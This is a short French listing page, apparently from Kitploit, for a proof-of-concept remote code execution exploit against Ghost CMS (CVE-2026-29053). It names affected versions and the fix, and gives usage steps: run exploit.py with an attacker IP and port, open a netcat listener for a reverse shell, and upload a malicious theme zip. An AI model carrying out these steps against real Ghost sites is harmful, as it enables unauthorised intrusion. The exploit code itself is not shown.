CVE-2026-29053 — Preuve de concept d'exploitation pour l'exécution de code à distance sur Ghost CMS via la pollution de prototype dans jsonpath et static-eval, avec un environnement vulnérable préconfiguré et des instructions d'utilisation. | Kitploit

CVE-2026-29053

RCE sur Ghost CMS via la chaîne de prototypes jsonpath/static-eval.

Informations

CVE : CVE-2026-29053
Versions concernées : Ghost <= 6.19.0 avec jsonpath 1.1.1 + static-eval 2.0.2
Corrigé dans : 6.19.1

Démo

CVE-2026-29053.webm

Configuration de l'environnement vulnérable

cd build
./build.sh

Utilisation

python3 exploit.py -i <YOUR_IP> -p <PORT>

Démarrer un listener : nc -lvnp <PORT>
Téléverser malicious-theme.zip dans Ghost Admin → Settings → Design

CVE-2026-29053

Populaires

Références